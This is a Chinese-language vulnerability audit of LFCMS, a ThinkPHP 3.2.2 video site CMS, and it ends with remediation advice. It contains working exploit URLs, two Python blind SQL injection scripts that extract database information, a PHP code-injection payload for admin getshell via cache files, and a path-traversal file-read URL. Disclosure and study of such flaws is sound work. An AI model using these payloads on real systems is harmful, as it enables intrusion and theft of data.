LFCMS的一次审计
字数 1344 2025-08-25 22:58:55

LFCMS漏洞审计与分析报告

前言

本报告针对LFCMS(一个基于ThinkPHP 3.2.2框架的影视管理系统)进行安全审计,发现了多个安全漏洞,包括SQL注入、后台getshell和任意文件读取漏洞。这些漏洞主要源于框架本身的缺陷和代码实现不当。

一、前台SQL注入漏洞(一)

漏洞原理

该漏洞源于ThinkPHP 3.2.2框架的find方法存在SQL注入漏洞,结合LFCMS对用户输入参数的不当处理导致。

漏洞位置

/Application/Home/Controller/NewsController.class.php中的index方法:

public function index(){
    $id = I('get.id');
    $detail = D('News')->detail($id);
    $this->assign('detail',$detail);
    $this->display();
}

调用了News模型的detail方法:

public function detail($id){
    $prefix = C('DB_PREFIX');
    $detail = $this->where(array('id'=>$id))->find();
    return $detail;
}

利用方式

构造特殊参数利用TP3.2的注入点:

http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and 1--

漏洞验证

  1. 正常访问与注入访问页面差异
  2. 查看数据库日志确认SQL语句拼接

自动化利用脚本

import requests

url = 'http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and '
result = ''

for i in range(1, 50):
    print('-')
    for j in range(32, 127):
        payload = 'if((ascii(substr((select database()),{},1))={}),1,0)--'.format(i, j)
        temp = url + payload
        try:
            html = requests.get(temp, timeout=10)
            if 'tttest' in html.text:
                result += chr(j)
                print(result)
                break
        except:
            print('[-]error')

类似漏洞点

/Application/Home/Controller/MovieController.class.php中的index方法的id参数也存在相同问题。

二、前台SQL注入漏洞(二)

漏洞位置

/Application/Home/Controller/AjaxController.class.php中的randMovie方法:

public function randMovie(){
    $limit = I('get.limit',6);
    $category = I('get.category','');
    $mlist = D('Ajax')->randMovie($limit,$category);
    $this->ajaxReturn($mlist);
}

调用了Ajax模型的randMovie方法:

public function randMovie($limit=6,$category=''){
    if($category) {
        $type='and category='.$category;
    }
    $prefix=C('DB_PREFIX');
    $mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
    foreach($mlist as $key=>$value) {
        $list[$key]=D('Tag')->movieChange($value,'movie');
    }
    return $list;
}

漏洞原理

$type$limit参数直接拼接到SQL语句中,没有使用参数化查询或过滤。

利用方式

http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)

自动化利用脚本

import requests

url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""

for i in range(1, 50):
    print('=')
    for j in range(32, 127):
        payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i, j)
        temp = url + payload
        try:
            s.get(temp, timeout=5)
        except:
            result += chr(j)
            print(result)
            break

类似漏洞点

/Application/Home/Controller/PlayerController.class.php文件中的down方法调用的getPlayerUrl方法的pid参数也存在相同问题。

三、后台getshell漏洞

漏洞原理

  1. 后台配置数据未过滤
  2. 利用TP3.2的缓存机制写入恶意代码

漏洞位置

/Application/Admin/Controller/ConfigController.class.php中的save方法:

public function save(){
    $config = I('post.');
    foreach($config as $key=>$value){
        $data = array('value'=>$value);
        M('Config')->where(array('name'=>$key))->save($data);
    }
    $this->success('保存成功');
}

前台初始化时调用/Application/Home/Controller/HomeController.class.php中的_initialize方法:

public function _initialize(){
    $config = S('DB_CONFIG_DATA');
    if(!$config){
        $config = D('Config')->lists();
        S('DB_CONFIG_DATA',$config);
    }
    C($config);
}

利用步骤

  1. 登录后台,进入配置设置
  2. 在任意配置项中插入PHP代码,注意逃逸注释:
    [原有配置值]
    <?php phpinfo();/*
    
  3. 访问前台页面生成缓存文件
  4. 缓存文件位于/Application/Runtime/Temp/目录下,文件名为DB_CONFIG_DATA的MD5值
  5. 直接访问缓存文件执行代码:
    http://lfcms.com/Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php
    

四、任意文件读取漏洞

漏洞位置

/Application/Admin/Controller/TemplateController.class.php中的edit方法:

public function edit(){
    $path = I('get.path');
    $realpath = str_replace('*','/',$path);
    $content = D('Template')->read($realpath);
    $this->assign('content',$content);
    $this->display();
}

调用了read方法:

public function read($filename,$type=''){
    return $this->get($filename,'content',$type);
}

最终调用get方法:

public function get($filename,$name,$type=''){
    if(!isset($this->contents[$filename])){
        if(!is_file($filename)) return false;
        $this->contents[$filename]=file_get_contents($filename);
    }
    $content=$this->contents[$filename];
    $info = array(
        'mtime' => filemtime($filename),
        'content' => $content
    );
    return $info[$name];
}

利用方式

读取根目录下的index.php文件:

http://lfcms.com/admin.php?s=/Template/edit/path/*..*index.php

五、修复建议

  1. 升级ThinkPHP框架至最新安全版本
  2. 对所有用户输入进行严格过滤和验证
  3. 使用参数化查询替代直接SQL拼接
  4. 对后台配置数据进行HTML实体编码或过滤
  5. 限制文件读取操作的目录范围
  6. 对缓存文件内容进行安全检查

参考链接

  1. ThinkPHP3.2.3 SQL注入漏洞分析
  2. LFCMS漏洞分析
LFCMS漏洞审计与分析报告 前言 本报告针对LFCMS(一个基于ThinkPHP 3.2.2框架的影视管理系统)进行安全审计,发现了多个安全漏洞,包括SQL注入、后台getshell和任意文件读取漏洞。这些漏洞主要源于框架本身的缺陷和代码实现不当。 一、前台SQL注入漏洞(一) 漏洞原理 该漏洞源于ThinkPHP 3.2.2框架的find方法存在SQL注入漏洞,结合LFCMS对用户输入参数的不当处理导致。 漏洞位置 /Application/Home/Controller/NewsController.class.php 中的index方法: 调用了 News 模型的detail方法: 利用方式 构造特殊参数利用TP3.2的注入点: 漏洞验证 正常访问与注入访问页面差异 查看数据库日志确认SQL语句拼接 自动化利用脚本 类似漏洞点 /Application/Home/Controller/MovieController.class.php 中的index方法的id参数也存在相同问题。 二、前台SQL注入漏洞(二) 漏洞位置 /Application/Home/Controller/AjaxController.class.php 中的randMovie方法: 调用了 Ajax 模型的randMovie方法: 漏洞原理 $type 和 $limit 参数直接拼接到SQL语句中,没有使用参数化查询或过滤。 利用方式 自动化利用脚本 类似漏洞点 /Application/Home/Controller/PlayerController.class.php 文件中的down方法调用的getPlayerUrl方法的pid参数也存在相同问题。 三、后台getshell漏洞 漏洞原理 后台配置数据未过滤 利用TP3.2的缓存机制写入恶意代码 漏洞位置 /Application/Admin/Controller/ConfigController.class.php 中的save方法: 前台初始化时调用 /Application/Home/Controller/HomeController.class.php 中的_ initialize方法: 利用步骤 登录后台,进入配置设置 在任意配置项中插入PHP代码,注意逃逸注释: 访问前台页面生成缓存文件 缓存文件位于 /Application/Runtime/Temp/ 目录下,文件名为 DB_CONFIG_DATA 的MD5值 直接访问缓存文件执行代码: 四、任意文件读取漏洞 漏洞位置 /Application/Admin/Controller/TemplateController.class.php 中的edit方法: 调用了read方法: 最终调用get方法: 利用方式 读取根目录下的index.php文件: 五、修复建议 升级ThinkPHP框架至最新安全版本 对所有用户输入进行严格过滤和验证 使用参数化查询替代直接SQL拼接 对后台配置数据进行HTML实体编码或过滤 限制文件读取操作的目录范围 对缓存文件内容进行安全检查 参考链接 ThinkPHP3.2.3 SQL注入漏洞分析 LFCMS漏洞分析